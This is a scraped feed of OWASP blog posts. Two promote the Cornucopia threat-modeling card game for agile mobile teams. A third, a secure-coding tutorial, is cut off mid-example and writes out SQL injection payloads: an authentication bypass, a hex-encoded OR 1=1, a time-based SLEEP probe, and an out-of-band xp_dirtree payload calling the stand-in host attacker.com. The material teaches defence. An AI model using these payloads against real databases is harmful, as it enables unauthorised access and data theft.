As application security engineers no longer are bottlenecks in the agile development processes, scaling application security efforts has become much easier. Cornucopia is empowering and teaching the development teams how to do threat modeling, what to test and implement, what to plan and how to execute security work. It is helping us to deliver faster, make the teams more independent, and shifting security efforts left. Application security engineers are needed, but the focus is turned towards facilitation, cheerleading and training.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2ib4335mprmnggh78kpa.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2ib4335mprmnggh78kpa.jpg" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The new OWASP Cornucopia website
&lt;/h2&gt;

&lt;p&gt;This has further been simplified with the new &lt;a href="https://cornucopia.owasp.org" rel="noopener noreferrer"&gt;OWASP Cornucopia website&lt;/a&gt; and -QR codes that we now are launching. The website will allow the development teams to much more easily find the security requirements and -controls strengthening shift-left and agile application security methodologies. Looking ahead, we will continue to empower the development teams by making it easier to use OWASP Cornucopia together with other OWASP resources. We believe integrating the online solution with other tools will increase productivity and adaptation. Not having the same information in multiple systems will make it easier to keep the information correct and up to date. We will work on increasing the interoperability between OWASP Cornucopia and other OWASP projects. By doing so, we will also help you scale your application security efforts and empower your agile cross functional development teams, and we are looking for others that would like to take part on our journey.&lt;/p&gt;
&lt;h2&gt;
  
  
  We are looking for your support
&lt;/h2&gt;

&lt;p&gt;OWASP Cornucopia is about community. We would have gotten nowhere without the help of all the people that have supported OWASP Cornucopia over the years. This is why, when making the first version of OWASP Cornucopia, Colin Watson though it would be a great idea if the threat actors on the cards had the names from members and employees from the OWASP Foundation. The Mobile App edition follows that tradition. That is why we picked threat actor names, for the threat scenarios on the cards, from OWASP Global board, OWASP Staff, project members and OWASP chapter leaders from around the world, but we still need your support. We are looking for volunteers that would like to help us improve the new website and that would like to help translate the materials into various languages, this to ensure that developers who don't have English as their mother tongue, understand the security requirements and controls presented to them. We are also looking for ideas and help in maintaining and improving the new website to ensure it becomes a valuable tool for everyone looking at solving application security challenges.&lt;/p&gt;
&lt;h2&gt;
  
  
  OWASP Cornucopia
&lt;/h2&gt;

&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;



&lt;p&gt;Learn how to play OWASP Cornucopia:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
&lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>appsec</category>
      <category>mobile</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>How to do threat modeling for agile mobile app development?</title>
      <dc:creator>Johan Sydseter</dc:creator>
      <pubDate>Thu, 06 Feb 2025 19:59:33 +0000</pubDate>
      <link>https://dev.to/owasp/how-to-do-threat-modeling-for-agile-mobile-app-development-28ki</link>
      <guid>https://dev.to/owasp/how-to-do-threat-modeling-for-agile-mobile-app-development-28ki</guid>
      <description>&lt;h2&gt;
  
  
  &lt;em&gt;Did you know that there is a game for threat modelling mobile apps? In Admincontrol we are using OWASP® Cornucopia to scale our application security efforts. Here is how...&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://cornucopia.owasp.org/cards" rel="noopener noreferrer"&gt;"OWASP Cornucopia - Mobile App Edition"&lt;/a&gt; is mapped to the OWASP Mobile Application Security Verification Standard (&lt;a href="https://mas.owasp.org/MASVS/" rel="noopener noreferrer"&gt;MASVS v2.0&lt;/a&gt;) and OWASP Mobile Application Security Testing Guide (&lt;a href="https://mas.owasp.org/MASTG/" rel="noopener noreferrer"&gt;MASTG v1.7&lt;/a&gt;), only available in English, for now. The deck has six suits of 13 cards plus two jokers, with the suit names taken from MASVS: Platform &amp;amp; Code (PC), Authentication &amp;amp; Authorization (AA), Network &amp;amp; Storage (NS), Resilience (RS), Cryptography (CRM) and Cornucopia (CM) which contains threats related to MASVS Privacy requirements, and where we also have added some nasty cards related to mobile malware.&lt;/p&gt;

&lt;p&gt;So how do you gamify threat modeling and application security design? I would start with just playing the game. Get a group of people together at your company with an interest in security. It can be testers web developers, mobile developer, doesn’t matter. Buy pizza, beer, candy or coffee get together and just do it. Don’t think about it, have fun and just do it. Why?&lt;/p&gt;

&lt;h2&gt;
  
  
  Agile Application Security
&lt;/h2&gt;

&lt;p&gt;Because it’s the fastest way of creating value and showing results.&lt;br&gt;
We want a culture of finding and fixing design issues, and we want people collaborating and having fun and we know that everyone is on a journey of discovery. We acknowledge that we do not have all the answers, but we believe we can find them together. &lt;br&gt;
And we want to do it now, we do not want to partake in wishful thinking. &lt;br&gt;
We know it won’t be perfect, but we will continuously refine the process and models as we learn more about what it is we are making.&lt;br&gt;
We want to adapt application security to agile development processes, not the other way around.&lt;br&gt;
And if you want to know more about this, you should check out &lt;a href="https://www.threatmodelingmanifesto.org/" rel="noopener noreferrer"&gt;the Threat Modeling Manifesto&lt;/a&gt; where these values come from.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb53nxhclupj2fcrvfcn9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb53nxhclupj2fcrvfcn9.png" alt="The Threat Modeling Manifesto" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Adam Shostack’s 4 Question Frame for Threat Modeling
&lt;/h2&gt;

&lt;p&gt;And to make is as simple and agile as possible so that everyone can partake and understand the process, we narrow it down to finding the answers to 4 simple questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What are we working on?&lt;/li&gt;
&lt;li&gt;What can go wrong?&lt;/li&gt;
&lt;li&gt;What can we do about it?&lt;/li&gt;
&lt;li&gt;Did we do a good job?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;(source: &lt;a href="https://github.com/adamshostack/4QuestionFrame" rel="noopener noreferrer"&gt;Shostack's 4 Question Frame for Threat Modeling&lt;/a&gt;)&lt;/p&gt;
&lt;h2&gt;
  
  
  Enlist a Volunteer Army: Get Others to Help You and Help Them as Well.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghsyxag37njheylmc4f0.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghsyxag37njheylmc4f0.jpg" alt="a volunteer army of security minded people" width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It sounds so simple, but it really isn’t because the next part is a little bit more difficult. To make it stick, you need to enlist a volunteer army of security minded people willing to meet on a regular basis. Once every two weeks is enough, but even if it’s just every two weeks, it’s essentially time and resources that those people will invest in spending time with you doing application security work. &lt;br&gt;
And the way you sell it is by saying that it’s a way for you to help each other doing secure agile software development. And that’s it.&lt;br&gt;
They don’t need to be security champions. It just needs to be people representing their development team that want to help with application security.&lt;br&gt;
And the next thing you know, you have one person representing every team doing application security and threat modeling, doing the job on your behalf. &lt;br&gt;
Not so that you don’t need to, but because it’s the only way you can make them feel good about it when they get the recognition for what they have done and collect the price.&lt;/p&gt;
&lt;h2&gt;
  
  
  Build a Guiding Coalition: Get Everyone on Board
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9gwgnxdptvlrrkppjqtj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9gwgnxdptvlrrkppjqtj.png" alt="A guiding coalition" width="800" height="353"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Present what you're doing to your CISO, CTO and product owners, get everyone on board and build a guiding coalition to help you and support you.&lt;br&gt;
If you have already had a group of security minded people that you have done threat modeling with, then this part is easy.&lt;br&gt;
Because even though everyone is asking themselves what this crazy group of people are doing, they will respect it and support it as long as it's working.&lt;br&gt;
So, all you need to do is write down all the whats, the whys and the hows, add them to a presentation, then present it to your CISO/CTO+product owners.&lt;br&gt;
Make sure you make them understand that you will be there and give support, then ask for a pilot project where you can introduce threat modeling for mobile applications. &lt;br&gt;
It can be a new mobile app, a new mobile api or something much smaller. Doesn’t matter how big or small it is.&lt;/p&gt;
&lt;h2&gt;
  
  
  Get Everyone to Commit
&lt;/h2&gt;

&lt;p&gt;What matters is that you make everyone commit to what you will be doing.&lt;br&gt;
Don’t just do an online session. Buy your plane ticket, book your hotel, and spend 2 days with the mobile development team. &lt;br&gt;
Not all development teams like to draw models, but ask the team to create a simple model. So remember to point out that the model doesn’t need to be perfect. It just needs to show the basic processes, storage, and data flows that they will be implementing.&lt;br&gt;
It shouldn’t take more than 1 hour to complete it, but make sure they understand that it needs to be there before the threat modeling session.&lt;/p&gt;

&lt;p&gt;Also, buy some funny prices. If you go to the &lt;a href="https://cornucopia.owasp.org/swags" rel="noopener noreferrer"&gt;OWASP Cornucopia website&lt;/a&gt;, you will find a lot of suggestions for prices, but it’s better if you use your imagination, come up with some ideas yourself, and make some fun out of it. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5j2k4zygpykx8t7b79px.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5j2k4zygpykx8t7b79px.png" alt=" " width="800" height="717"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But before all of that, get the cards, either go to &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt; to play the online version, or download the high-res design files from &lt;a href="https://cornucopia.owasp.org/printing" rel="noopener noreferrer"&gt;cornucopia.owasp.org&lt;/a&gt; and get them printed. You can also buy the physical decks at &lt;a href="https://cornucopia.owasp.org/webshop" rel="noopener noreferrer"&gt;one of our webshops&lt;/a&gt; where you can buy the decks as well. A small part of the profits from the sales goes to the OWASP® Foundation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw4gkdv0jlfa2ifoscsur.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw4gkdv0jlfa2ifoscsur.png" alt="Go to copi.owasp.org or cornucopia.owasp.org" width="800" height="286"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Let the Cards Speak and the Team Decide.
&lt;/h2&gt;

&lt;p&gt;You don’t need to be a specialist on mobile application security to lead a OWASP Cornucopia mobile threat modeling session. Letting the team take control over the session themselves is what works best. Once a card is played the player needs to explain how the threat may be applicable to their mobile application. If the rest of the team agrees that it is the case, then the player gets a point. Then later, when adding the specific threat to the threat model, the team can use the references on the card to figure out what they need to do in order to mitigate the threat. It allows the team to immediately create a security focused user story in Jira and connect that to the MASVS and MASTG requirements and tests which should give guidance both in regard to implementing a secure design and create automated tests that can be used in MAS testing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs8lp488ms2k7ok4rdvfw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs8lp488ms2k7ok4rdvfw.png" alt="Let the cards speak for themselves" width="800" height="359"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The Role of the Application Security Engineer
&lt;/h2&gt;

&lt;p&gt;The application security engineer's role, during the game, is to support the team by recording the cards that score points on &lt;a href="https://owasp.org/www-project-cornucopia/assets/files/cornucopia-scoresheet-mobileapp.pdf" rel="noopener noreferrer"&gt;a score sheet&lt;/a&gt; so that you can keep track of what cards are played, and what the team discuss during the game. Later, when the development team create security focused user stories, you can help them to remember what it was they were discussing during the game and which threats they identified as relevant and important for creating a secure design for their application. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffe2qbr0nx3vs2p8qicgq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffe2qbr0nx3vs2p8qicgq.png" alt="Take notes during the meeting using a score sheet" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When application security engineers no longer are bottlenecks in the agile development processes, scaling application security efforts becomes much easier. Cornucopia is empowering and teaching the development teams how to do threat modeling, what to test and implement, what to plan, and how to execute security work. It is helping to deliver faster, make the teams more independent, and shifting security efforts left. Application security engineers are needed, but the focus is turned towards facilitation, cheerleading and training.&lt;/p&gt;
&lt;h2&gt;
  
  
  Story board mapping – Create user stories
&lt;/h2&gt;

&lt;p&gt;After you have finished the game, don’t stop there, have a second session with the team where you look at the cards that scored and create security focused user stories. If the scope of what you are building is large, do a storyboard mapping where you group the cards together that share the same MASVS and MASTG references, then get the team to decide what it is they are going to implement and test. If you’re not located at the same location, you can do this by using a Digital solution for agile online collaboration like Figma, or if you’re co-located, just create a large cardboard and either print out the description for each cards with their requirements, or stick the cards themselves to it and let the team create user stories on post-it notes based on MASVS/MASTG and the notes that was taken during the game. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj60g8soj4vyasgwv8nf3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj60g8soj4vyasgwv8nf3.png" alt="Question 3: What can we do about i?" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then don’t forget to ask the product owner, during the session, to add the stories directly into your issue tracking software under the epic that the team is working on. This way, they will be mandated and empowered to implement the security controls they identified in order to finish the epic. &lt;/p&gt;
&lt;h2&gt;
  
  
  Threat modeling – Keep track of the risk
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc640iotggfhkncdu4lbg.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc640iotggfhkncdu4lbg.jpg" alt="OWASP Threat Dragon" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also, give the team a threat modeling tool and ask them to add the Jira issues to the threats in the threat model so that the team can keep track of which security controls the team has implemented in order to mitigate the threats they identified.&lt;/p&gt;
&lt;h2&gt;
  
  
  Don’t forget to celebrate your short-term wins!
&lt;/h2&gt;

&lt;p&gt;And don’t forget to celebrate your short-term wins, present what the team is doing to everyone in the organization, buy pizza and beer, and make noise about how the development team is having success with what they are doing. Wins are the molecules of results, they must be collected, categorized and communicated – early and often – to track progress and energize your volunteer army to drive change.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc67qreeci4a01k5pu39g.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc67qreeci4a01k5pu39g.jpg" alt="Don't forget to celebrate" width="672" height="384"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  OWASP Cornucopia
&lt;/h2&gt;

&lt;p&gt;Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web &amp;amp; Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at &lt;a href="https://copi.owasp.org" rel="noopener noreferrer"&gt;copi.owasp.org&lt;/a&gt;, and if you visit our &lt;a href="https://github.com/OWASP/cornucopia" rel="noopener noreferrer"&gt;code repository&lt;/a&gt; please give us a star ⭐️.&lt;/p&gt;



&lt;p&gt;Learn how to play OWASP Cornucopia:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/XXTPXozIHow"&gt;
&lt;/iframe&gt;
&lt;/p&gt;




&lt;p&gt;&lt;a href="https://owasp.org" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt; is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.&lt;/p&gt;

</description>
      <category>agile</category>
      <category>mobile</category>
      <category>appsec</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Secure Coding Principles</title>
      <dc:creator>Martin Belov</dc:creator>
      <pubDate>Mon, 09 Sep 2024 10:45:47 +0000</pubDate>
      <link>https://dev.to/owasp/secure-coding-principles-4dg8</link>
      <guid>https://dev.to/owasp/secure-coding-principles-4dg8</guid>
      <description>&lt;p&gt;After exploring how to create a secure and persistent application architecture in &lt;a href="https://dev.to/owasp/secure-and-resilient-design-2f1k"&gt;Secure &amp;amp; Resilient Design&lt;/a&gt; article, we have learned how to create a solid foundation for our system.&lt;br&gt;
Now our goal is to ensure security in the code of its components, because about &lt;strong&gt;75%&lt;/strong&gt; of attacks come from the application layer. We are going to describe the principles of secure coding and best solutions to implement them.&lt;/p&gt;
&lt;h2&gt;
  
  
  Never Trust User Input
&lt;/h2&gt;

&lt;p&gt;This is the first and most fundamental principle that you need to wrap your head around. &lt;strong&gt;Any user input should be validated on the server side, and the content displayed to the user should be sanitized&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We divide validation into 2 types: syntax validation and semantic validation.&lt;br&gt;
&lt;strong&gt;Syntax&lt;/strong&gt; validation implies that the data matches the format that we expect. For example, validating that the value entered is a number, e-mail address corresponds to a standard format, or the date is in the correct format (e.g. &lt;code&gt;YYYY-MM-DD&lt;/code&gt;).&lt;br&gt;
&lt;strong&gt;Semantic&lt;/strong&gt; validation, on the other hand, checks that the data is semantically correct. This can include checking that the date of birth is not a later than current one, that the age is within a reasonable range (e.g. 0 to 150 years old), or in another field, that the transaction amount does not exceed the balance available to the account.&lt;/p&gt;

&lt;p&gt;I'm sure most of you have heard about attack methods such as SQL, NoSQL, XSS, CMD, LDAP, and similar injections. Despite the fact of everyone knowing about them, the &lt;strong&gt;Injection&lt;/strong&gt; vulnerability type is still at the leading positions in most applications, according to the &lt;strong&gt;OWASP Top 10&lt;/strong&gt;. Why is this?&lt;/p&gt;

&lt;p&gt;The problem is that developers often underestimate the complexities of security, do not consult with security as they design software, or at best rely on out-of-date security practices. Fast pace of development, business side pressures, and limited resources cause teams to focus on functionality and deadline over security. Many organizations also rely on WAF to create the illusion of total security against attacks, when in reality WAF is &lt;strong&gt;addition&lt;/strong&gt; to other security practices. So let's say that, if Morpheus offered them a pill, they would choose the red one.&lt;/p&gt;

&lt;p&gt;Let's refresh our memory, and look at the top application vulnerabilities caused by missing or incorrect input validation, and determine the most effective methods to mitigate them:&lt;/p&gt;
&lt;h3&gt;
  
  
  SQL Injection
&lt;/h3&gt;

&lt;p&gt;SQL Injection is a type of injection attack that both rookies and security experts rank as the most likely. The attack is successful if SQL syntax data is “injected” via user input in a way that is read, modified, and executed in the database.&lt;/p&gt;

&lt;p&gt;Basic examples of SQL injection in action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = '"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"' AND password = '"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the attacker sends &lt;code&gt;admin' --&lt;/code&gt; in the input, then the final query will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="c1"&gt;--' AND password = ''&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--&lt;/code&gt; commenting out a password check, thus depending on the context, may give away access to the system. Obviously, in case of real attacks, we should expect more intricate payloads. &lt;/p&gt;

&lt;p&gt;For example, to bypass basic filters, the following are often used &lt;strong&gt;Hexadecimal SQL Injection&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE user_id = "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;userId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's convert &lt;code&gt;1 OR 1=1 --&lt;/code&gt; into hexadecimal format and get &lt;code&gt;0x31204F5220313D31&lt;/code&gt;. If we submit this hexadecimal value into the form, we will get the following query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x31204F5220313D31&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which is equivalent to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As should be evident by now, this will return all users.&lt;/p&gt;

&lt;h4&gt;
  
  
  How does a threat actor determine if an attack surface is vulnerable to SQL injection?
&lt;/h4&gt;

&lt;p&gt;Typically, &lt;strong&gt;blind SQL injections&lt;/strong&gt; are used to identify this vulnerability. The two most popular types are: &lt;strong&gt;Time based SQL Injection&lt;/strong&gt; and &lt;strong&gt;Out-of-Bound SQL Injection&lt;/strong&gt;. They are often used to identify vulnerable targets among the mined database of sites operating on the same basis (e.g. in WooCommerce).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time based SQL Injection&lt;/strong&gt;&lt;br&gt;
The name speaks for itself. Let's take a look at the following example input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' OR IF(1=1, SLEEP(10), false) --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The whole point of the attack is to monitor the server response time. If there are delays in the response (in our case around 10 seconds), it means that the application is vulnerable to SQL Injection and the attack can be launched.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Out-of-Bound SQL Injection&lt;/strong&gt;&lt;br&gt;
This is a more tedious SQL injection attack that relies on asyncronous database entries and its success depends heavily on the configuration of the target server. As an example, let's imagine that our target is using Microsoft SQL Server.&lt;/p&gt;

&lt;p&gt;The attacker runs their server on &lt;code&gt;attacker.com&lt;/code&gt; with the goal of intercepting all incoming DNS requests to the target and routing them to the attacker's server, which is the &lt;strong&gt;server vulnerability identifier&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;After that, they send the following payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;'; EXEC master..xp_dirtree '&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sample&lt;/span&gt;&lt;span class="s1"&gt;'--.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



